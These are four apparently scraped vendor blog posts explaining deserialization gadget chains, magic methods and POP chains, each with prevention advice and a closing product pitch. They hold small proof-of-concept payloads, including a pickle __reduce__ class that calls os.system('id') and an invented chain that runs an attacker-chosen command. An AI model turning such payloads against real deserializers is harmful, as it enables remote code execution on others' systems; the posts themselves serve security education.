    Gadget chain discovery is the part of deserialization research that sounds like magic and is really just disciplined search. Nobody stumbles onto a working chain by reading one file. They start from a method that does something dangerous and reason backward until they reach a point an attacker can actually trigger. This post explains how that backward search works, why it is a source to sink reachability problem over the whole classpath, and why it is so hard to do by hand.

    Gadget chain discovery starts at the sink, not the input

    The intuitive way to look for a bug is to start at user input and follow it forward. For gadget chains that is the slow direction, because the input reaches a generic deserialize call that could build almost anything. Effective gadget chain discovery runs the other way. You begin at a sink, a method that runs a command, loads a class by name, writes a file, or makes a network call, and you ask a single question: what calls this, and can any of those callers be reached from a method that fires automatically during deserialization?

    The sink is the anchor because there are relatively few truly dangerous methods, while there are countless harmless ones. Starting from the scarce end of the problem keeps the search small.

    Finding a chain is not reading code forward from input. It is standing at the dangerous method and walking backward until you reach a door an attacker can open.

    Walking backward from the sink

    Once you have a sink, the search is a sequence of backward steps, each one a call edge.

    • Find the sink. A method such as one that executes a command string or instantiates a class from a name.
    • Find its callers. Which methods call the sink, and can they pass attacker influenced arguments to it?
    • Keep climbing. For each caller, find its callers, always keeping the link that an attacker controlled field decides the next call.
    • Reach an entry method. Stop when you arrive at a method the runtime invokes by itself during deserialization, like the hooks in magic methods in deserialization attacks.

    If that backward path connects an automatic entry method to a sink, and each hop passes control through a field the attacker can set, you have a candidate chain. The handoff through fields is what makes it property oriented programming rather than ordinary call tracing.

    Why this is a classpath wide reachability problem

    The callers you are climbing through are not in your code. They are in libraries, and in libraries those libraries depend on. A chain can start in one package, pass through a second, and end in a third, with no single developer ever having seen all three together. So the real search space is every class loaded at runtime, not the application source. This is the same point the hub makes about deserialization gadget chains: the gadgets live on the classpath, so discovery has to reason over the whole classpath.

    Conceptually you are building a call graph and asking a reachability question on it:

    sink: Runtime.exec(cmd)
      <- Transformer.transform(input)      // passes input to exec
        <- LazyMap.get(key)               // triggers transform
          <- AnnotationHandler.invoke()   // calls get on a controlled map
            <- readObject()               // automatic entry point
    // if a path exists from readObject() down to exec(), a chain exists

    That is the mechanics behind well known Java chains, including the Commons Collections gadget chain. The researcher did not invent new classes. They found an existing path from an automatic method to a dangerous one.

    Why it is hard by hand

    Three things make manual gadget chain discovery slow.

    • Scale. A medium app loads thousands of classes. Reading every method to find the ones that call a sink is not realistic.
    • Indirection. The call from a gadget to the next is usually through an interface or a field whose real type is decided by the attacker. A plain reader cannot tell which concrete method runs without modeling what that field can point to.
    • Version drift. A chain that works in one library version breaks in the next when a method is renamed or a field removed. Discovery has to be redone against the exact versions shipped.

    A text search finds the word exec. It cannot tell you whether any automatic entry method can reach that exec through attacker controlled fields, which is the only thing that matters. That gap, between finding a pattern and proving a path, is a theme across our injection and input category and in the primer on insecure deserialization.

    What discovery actually produces

    A real result is not a warning that a deserializer exists. It is a concrete path: this automatic entry method, through these intermediate calls, passing this attacker set field at each step, reaches this dangerous sink. That path is what lets you prove the bug instead of guessing at it, and it is what lets you write a precise fix, whether that is an allowlist at the deserializer or removing the library that supplies a link gadget.

    Where an autonomous researcher fits

    This backward, classpath wide reachability search is close to the core of what UnboundCompute does. It learns how an application fits together, reasons from a dangerous sink back toward the untrusted input that could reach it, and only reports a finding once it has proven the path with concrete evidence rather than a pattern match. An untrusted input to deserializer flow, traced end to end and verified, is exactly the kind of bug that reasoning is built to surface. In early testing, a frontier model drove that full methodology on its own and identified and verified real injection and access control issues in test applications it had not seen before, which we read as an encouraging early signal rather than a benchmark.

    Gadget chain discovery rewards understanding over scanning, because the answer is a path, not a keyword. You can read more about how we approach that kind of reasoning on our about page.

    Frequently asked questions

    How is gadget chain discovery actually done?

    You start at a dangerous sink, a method that runs a command, loads a class, or writes a file, and reason backward through its callers. The search stops when you reach a method the runtime invokes automatically during deserialization, with attacker controlled fields steering each hop.

    Why start at the sink instead of the user input?

    Input reaches a generic deserialize call that could build almost anything, so following it forward explodes the search. There are few truly dangerous sinks and many harmless methods, so starting from the scarce end keeps the backward search small and focused.

    Why is gadget chain discovery a classpath wide problem?

    The intermediate gadgets live in libraries and their dependencies, not your own source. A chain can cross several packages that no single developer ever saw together, so discovery has to reason over every class loaded at runtime, not just the application code.

    Why is finding a chain hard to do by hand?

    Scale, because an app loads thousands of classes; indirection, because each gadget calls the next through a field whose real type the attacker chooses; and version drift, because a chain breaks when a library changes. A text search finds a keyword but cannot prove a reachable path.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Magic Methods in Deserialization Attacks

    Magic Methods in Deserialization Attacks

    Magic methods are the reason deserialization can run code at all. They are methods a language runtime calls by itself at specific moments, without your program asking. During deserialization, several of them fire while an object is being rebuilt, before any of your own logic runs. That is the exact moment an attacker wants, because it gives a crafted object a foothold to start executing. This post explains which magic methods matter, why they are the entry points a chain starts from, and how the same idea repeats across languages.

    What magic methods are

    A magic method is a hook with a reserved name that the runtime invokes automatically. You do not call it; the language does, at a defined event such as object creation, string conversion, or cleanup. They exist for good reasons, like restoring a connection after an object is loaded or formatting an object for printing. The security problem is timing. When untrusted bytes are deserialized, the runtime rebuilds the described object and runs its magic methods as part of that process. The attacker chose the object, so the attacker chose which hook fires first.

    The magic methods that start a chain

    Every language has its own set, but they play the same role: an automatic entry point invoked during or right after rebuilding an object.

    • Java. readObject runs during native deserialization, with readResolve and the object’s finalize as related hooks. A gadget’s readObject is the classic starting gun.
    • PHP. __wakeup runs when an object is rebuilt, and __destruct runs when it is later cleaned up. __toString runs whenever the object is used as a string. All three are common chain entries, which is why they anchor PHP object injection.
    • Python. __reduce__ tells the pickle format how to rebuild an object, and the attacker can make it name any callable with any arguments. This single method is the heart of Python pickle remote code execution.
    • C# and .NET. Deserialization callbacks and constructors invoked while a typed object graph is rebuilt serve the same purpose.

    A magic method is not the bug. It is the doorbell that tells the rest of the chain it is time to start running.

    Why the entry point matters so much

    A gadget chain is a sequence of method calls, but something has to make the first call. Your application code will not do it, because your code does not know the attacker’s object exists. The magic method is what bridges that gap. The runtime rebuilds the object and, entirely on its own, calls the reserved method. From there the attacker’s chosen fields steer control into the next gadget. Without an automatic entry point, the crafted object would just sit in memory doing nothing.

    Here is the shape in Python, where one magic method does the whole entry step:

    import os
    
    class Exploit:
        def __reduce__(self):
            # the runtime calls this to learn how to rebuild the object
            return (os.system, ("id",))

    When bytes describing this object are deserialized, the format honors __reduce__ and calls os.system("id"). No other code is needed, because the magic method both fires automatically and names the sink. In longer chains the entry method does less, just calling a method on a field, and the remaining work is spread across link gadgets. That property to property handoff is the subject of property oriented programming.

    A two step example

    Consider a made up PHP class in an app called Acme Notes. Its cleanup hook was meant to flush a log.

    class Logger {
        public $handler;
        function __destruct() {
            $this->handler->flush();   // calls flush() on whatever we set
        }
    }

    The attacker sets handler to a different object whose flush method runs a command. When the deserialized Logger is cleaned up, __destruct fires automatically and calls flush on the attacker’s object. The magic method did not do anything dangerous by itself. It started the chain. This is the same pattern used everywhere, including the Java library classes behind the Commons Collections gadget chain.

    How to reason about them safely

    When you review code, the presence of a magic method is a signal, not a verdict. Ask two questions. Can untrusted bytes reach a deserializer that rebuilds this class? And does the magic method call a method on a field the attacker controls? If both are yes, you have an entry point into a possible chain. If untrusted input can never reach the deserializer, the same magic method is harmless. This is why the real work is tracing input flow across the app, not listing reserved method names. For the broader picture of how these footholds combine into full exploits, start with our hub on deserialization gadget chains, and see more input driven bugs in the injection and input category.

    How to prevent abuse

    • Do not deserialize untrusted input into types that carry automatic methods. Plain data formats with a fixed schema produce values, not objects with hooks.
    • Use an allowlist of expected classes so an attacker’s gadget type, and its magic method, is never instantiated.
    • Keep magic methods simple and free of side effects that call into fields, so even an instantiated object has nowhere to go.
    • Sign serialized data you control and verify it before any object is rebuilt.

    Magic methods turn a passive blob of bytes into a running sequence, which is why understanding them is understanding where a chain begins. For deeper background first, read our primer on insecure deserialization. Spotting whether a magic method is truly reachable from untrusted input is a source to sink reasoning task, and an autonomous researcher that learns how an app connects its inputs to its code is built to answer it. More on our about page.

    Frequently asked questions

    What are magic methods in a deserialization attack?

    Magic methods are reserved methods the runtime calls automatically at set moments, such as when an object is rebuilt, cleaned up, or used as a string. During deserialization they fire before your own code runs, which gives a crafted object a place to start executing.

    Which magic methods matter across languages?

    Java uses readObject, readResolve, and finalize; PHP uses __wakeup, __destruct, and __toString; Python uses __reduce__; and .NET uses deserialization callbacks and constructors. Each plays the same role of an automatic entry point into a chain.

    Why is the magic method the entry point of a chain?

    A gadget chain is a sequence of method calls, and something must make the first call. Your application never calls the attacker’s object, so the runtime’s automatic magic method is what starts the sequence, after which chosen fields steer control to the next gadget.

    How do you prevent magic methods from being abused?

    Avoid deserializing untrusted input into types that carry automatic methods, use an allowlist of expected classes so the attacker’s gadget type is never built, keep magic methods free of side effects that call into fields, and sign and verify serialized data you control.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • POP Chains and Property Oriented Programming

    POP Chains and Property Oriented Programming

    Property oriented programming is the technique behind almost every deserialization exploit you will ever read about. The name sounds academic, but the idea is simple. Instead of injecting new code, the attacker builds a payload out of object properties and the methods those properties trigger, reusing code that already ships with the app. This post explains what a POP chain is, where the idea came from, and walks a small invented chain so you can see the moving parts.

    What property oriented programming means

    In a normal program, you control behavior by writing and calling functions. In property oriented programming, the attacker controls behavior by setting the properties of objects and letting the language do the calling. When a serialized object is rebuilt, the runtime assigns its fields and, in many languages, runs certain methods automatically. If the attacker chooses the fields carefully, those automatic methods call into other objects whose fields are also attacker chosen, and the control flows from property to property until it reaches a method that does real damage.

    So the unit of the attack is not an instruction. It is a property. You are programming with data, and the existing methods become your instruction set.

    In a POP chain the payload is not code. It is a set of object properties, and the program is written in whatever methods those properties happen to trigger.

    Where the idea came from

    The term was coined in the PHP world, where object injection made it easy to demonstrate. PHP objects run cleanup and wakeup methods automatically when they are rebuilt, so a serialized string that describes an object would fire those methods the moment it was deserialized. Researchers noticed you could chain these automatic methods across several classes to reach something dangerous. The same pattern then showed up in Java, .NET, Python, and Ruby. The details differ, but the shape is identical, which is why it is worth learning once. If the underlying flaw is new to you, start with our primer on insecure deserialization, then see the full cross language picture in our hub on what a deserialization gadget chain is.

    The pieces of a POP chain

    Three parts make a chain work.

    • An entry method. A method the runtime calls by itself during deserialization. These are the footholds, covered in magic methods in deserialization attacks.
    • Link gadgets. Classes whose methods call a method on one of their fields. Because the attacker sets the field, they choose which object is called next.
    • A sink. The final method that does something harmful, such as running a command, writing a file, or loading a class by name.

    The attacker sets the entry object’s field to a link gadget, sets that gadget’s field to the next, and points the last field at the sink. Rebuilding the top object pulls the whole structure into existence and the methods fire in order.

    A small invented chain, step by step

    Picture three classes in a fictional app called Acme Notes. None of them was written to be dangerous.

    class Cleaner:
        # entry method, runs automatically on rebuild
        def on_wake(self):
            self.target.render()        # calls render() on a field we control
    
    class Label:
        def render(self):
            return self.formatter.format(self.text)   # calls format() on a field
    
    class Runner:
        def format(self, value):
            os.system(value)            # the sink: runs a command string

    Now the attacker builds the object graph, not by writing code but by setting fields:

    c = Cleaner()
    c.target = Label()
    c.target.formatter = Runner()
    c.target.text = "id > /tmp/proof"

    When the serialized form of c is deserialized, the runtime runs on_wake. That calls render on the Label. render calls format on the Runner, passing the attacker’s text. format runs the command. Three ordinary methods, zero injected code, one command executed. That is a POP chain.

    Notice what the attacker actually shipped: a description of objects and their properties. The language supplied the control flow for free. This is the same trick whether the classes come from your code or from a library like the ones behind the Commons Collections gadget chain in Java.

    Why this is hard to catch by reading code

    No single class here is a bug. Runner.format calling os.system might be completely reasonable in its intended context. The vulnerability only appears when an attacker can connect Cleaner to Label to Runner through deserialization. A reviewer staring at one file sees nothing wrong, and a text search for a dangerous function finds the sink but cannot tell whether any reachable entry method leads to it. The real question is whether untrusted bytes can build a graph that reaches the sink, which is a reachability problem across many files and libraries. See our injection and input category for more bugs that hide in how data flows rather than in one line.

    How to shut POP chains down

    • Stop untrusted input from being deserialized into arbitrary object types. An allowlist of expected classes breaks the entry step, because the attacker’s chosen gadget is refused.
    • Prefer plain data formats with a fixed schema, so rebuilding input produces values, never live objects with automatic methods.
    • Reduce the classes on the classpath. Every library you do not need is a set of link gadgets you are carrying for the attacker.
    • Sign serialized data you control and verify it before rebuilding, so tampered graphs are rejected.

    POP chains are a clear example of a bug that lives in how an app fits together, not in any one function. Finding one means tracing untrusted input through many objects to a dangerous method, which is exactly the kind of source to sink reasoning an autonomous researcher is built to do. You can read more on our about page.

    Frequently asked questions

    What is property oriented programming?

    It is a technique where an attacker controls behavior by setting the properties of objects rather than by injecting code. When a serialized object is rebuilt, the runtime runs methods automatically, and carefully chosen properties make those methods call into other objects until a dangerous one runs.

    What is a POP chain?

    A POP chain is the concrete payload built with property oriented programming. It links an entry method that fires on deserialization, one or more gadget classes that pass control along their fields, and a sink method that does something harmful like running a command.

    Where did property oriented programming originate?

    The term was coined in the PHP world, where object injection made automatic cleanup and wakeup methods easy to chain. The same pattern later appeared in Java, .NET, Python, and Ruby, so the idea is worth learning once and applying everywhere.

    How do you defend against POP chains?

    Restrict deserialization of untrusted input to an allowlist of expected classes, prefer plain data formats with a fixed schema, trim unused libraries so fewer gadget classes exist, and sign and verify any serialized data you control before rebuilding it.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • What Is a Deserialization Gadget Chain?

    What Is a Deserialization Gadget Chain?

    A deserialization gadget chain is one of the more confusing ideas in application security, because it hides two different problems inside one attack. The first problem is that an app rebuilds objects from bytes it does not trust. The second is that the classes already sitting on the app’s classpath can be arranged so that the act of rebuilding them runs code the authors never intended. This post pulls those two apart and shows how they fit together across languages.

    What a deserialization gadget chain actually is

    Start with the word gadget. A gadget is an existing class that ships with the app or one of its libraries, whose automatically invoked methods do something an attacker can aim. One gadget reads a field and calls a method on it. Another takes a string and runs a system command. On their own they look harmless. A deserialization gadget chain wires several of them together so that reconstructing a single crafted object sets off a sequence that ends in remote code execution.

    The key point is that no new code is uploaded. The attacker sends data. That data names classes the app already has, sets their fields to chosen values, and relies on the language rebuilding the object graph in a fixed order. The chain is assembled entirely from parts that were already there.

    Two bugs, not one

    People collapse these into a single thing and then cannot reason about the fix. Keep them separate.

    • The deserialization bug. Untrusted bytes reach a deserializer. A cookie, a request body, an upload, or a message queue entry gets turned back into live objects. This is the flaw. It is covered in depth in our primer on what insecure deserialization is.
    • The gadget chain. The payload that turns that flaw into code execution. It exists because of what is on the classpath, not because of your code. You can have the bug with no usable chain, and you can have dangerous gadgets that are never reachable because nothing deserializes untrusted input.

    The danger appears when both are true at once: attacker reachable bytes reach a deserializer, and a working chain exists in the loaded libraries.

    The bug: untrusted bytes reaching a deserializer

    Every language has a function that takes bytes and returns an object. The problem is feeding one of those functions input a user can change. A rough shape, language aside:

    data = request.cookies["session"]
    obj  = deserialize(data)   // rebuilds whatever the bytes describe
    use(obj)

    If data is signed and verified first, the user cannot swap in their own object graph. If it is not, the user decides what gets built. That single decision is the whole opening.

    The chain: classes already on the classpath

    Rebuilding an object is rarely passive. Many runtimes call special methods while reconstructing a value, before your own code ever touches it. These are the entry points a chain starts from, and we cover them in magic methods in deserialization attacks. The attacker picks a first gadget whose automatic method fires on the way in, then chooses its fields so that method calls a second gadget, and so on down to a sink that runs a command or loads a class.

    A made up three step chain, shown only as a concept:

    GadgetA.readObject()  -> calls toString() on a field
    GadgetB.toString()    -> looks up a value in a map, triggering transform()
    GadgetC.transform()   -> ends at a method that executes a command string

    Each link is a normal method doing its normal job. The attack is the arrangement, not the code. This style of building an attack out of existing methods is called property oriented programming, and it generalizes far beyond any one language.

    The attacker never writes the exploit code. They write the object graph that makes your own libraries run it in an order the authors never imagined.

    The same shape across languages

    This is not a single language flaw. The mechanics repeat everywhere objects are rebuilt from bytes, only the method names and formats change.

    Different words, one idea. Untrusted input decides which objects get built, and the building itself runs code.

    Why these are hard to spot

    Nothing in the vulnerable line looks wrong. A call to a deserialize function is ordinary. The gadgets live in third party code you never read. A text search for a bad function tells you a deserializer exists, but not whether attacker controlled bytes reach it, and not whether a chain is present in the exact library versions you ship. Answering those questions is a source to sink reachability problem over the whole classpath, which is the subject of how gadget chains are found.

    How to prevent it

    • Do not deserialize untrusted input with a format that can instantiate arbitrary types. Prefer plain data formats with a fixed, expected schema.
    • If you must accept serialized objects, sign them and verify the signature before rebuilding anything.
    • Restrict deserialization to an allowlist of expected classes, so an unexpected gadget type is rejected at the door.
    • Keep libraries current and remove ones you do not use, since fewer classes on the classpath means fewer available gadgets.

    For more bugs where ordinary looking input does extraordinary things, see our injection and input category.

    The recurring theme is that the flaw is not in one line but in how untrusted input flows into a deserializer and what that deserializer can then reach. An autonomous researcher that reasons about how an application actually fits together, from the input a user controls to the method that finally runs, is built to find exactly this kind of flow. You can read how we think about that on our about page.

    Frequently asked questions

    What is a deserialization gadget chain?

    It is a payload assembled from classes already present on an app’s classpath, arranged so that rebuilding a single crafted object runs a sequence of their automatically invoked methods. The sequence ends in code execution even though the attacker uploaded no new code.

    How is a gadget chain different from the deserialization bug itself?

    The deserialization bug is untrusted bytes reaching a deserializer. The gadget chain is the payload that turns that bug into code execution, and it exists because of the libraries loaded, not your own code. You need both for an exploit to work.

    Do gadget chains only affect Java?

    No. The same shape appears in Python pickle, PHP object injection, .NET binary formatters, and more. Only the method names and serialization formats change; the idea that rebuilding objects runs code is shared.

    How do you prevent deserialization gadget chains?

    Avoid deserializing untrusted input with formats that can instantiate arbitrary types, sign and verify any serialized objects you must accept, restrict deserialization to an allowlist of expected classes, and keep libraries trimmed and current so fewer gadgets are available.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.